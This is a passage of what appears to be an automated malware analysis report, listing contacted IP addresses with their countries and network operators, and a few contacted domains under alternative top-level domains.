12502 NEPUSTILNET-AS01Rathausstr3DE false
221.42.234.2
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
48.192.213.242
 unknown United States
2686 ATGS-MMD-ASUS false
192.176.112.96
 unknown Sweden
199973 MIGR-ASSE false
148.187.232.199
 unknown Switzerland
559 SWITCHPeeringrequestspeeringswitchchEU false
194.68.226.219
 unknown Sweden
1257 TELE2EU false
158.176.210.77
 unknown United States
36351 SOFTLAYERUS false
5.213.223.1
 unknown Iran (ISLAMIC Republic Of)
197207 MCCI-ASIR false
29.183.151.45
 unknown United States
7922 COMCAST-7922US false
191.10.22.127
 unknown Brazil
27699 TELEFONICABRASILSABR false
111.12.201.48
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
206.35.223.238
 unknown United States
3356 LEVEL3US false
70.236.82.222
 unknown United States
7018 ATT-INTERNET4US false
188.128.211.46
 unknown Poland
12824 HOMEPL-ASPL false
183.79.240.105
 unknown Japan 24572 YAHOO-JP-AS-APYahooJapanJP false
167.167.250.249
 unknown United States
24093 SUPERLOOP-AS-APSUPERLOOPBIGAIRMultihomingASNAU false
29.29.142.166
 unknown United States
7922 COMCAST-7922US false
20.85.40.9
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
83.88.50.189
 unknown Denmark
3292 TDCTDCASDK false
76.64.250.33
 unknown Canada
577 BACOMCA false
160.158.181.50
 unknown Tunisia
37492 ORANGE-TN false
194.94.182.78
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
123.5.90.92
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
13.15.212.64
 unknown United States
22390 XEROX-WBUS false
217.124.59.244
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
176.56.216.101
 unknown United Kingdom
20860 IOMART-ASGB false
93.1.130.44
 unknown France
15557 LDCOMNETFR false
87.43.38.141
 unknown Ireland
1213 HEANETIE false

Contacted Domains

Name IP Active
fortyfivehundred.dyn 156.244.19.135 true
f.codingdrunk. unknown unknown
eighteen.pirate. [malformed] unknown unknown
fortyfivehundred.dyn. [malformed] unknown unknown
2joints.libre. [malformed] unknown unknown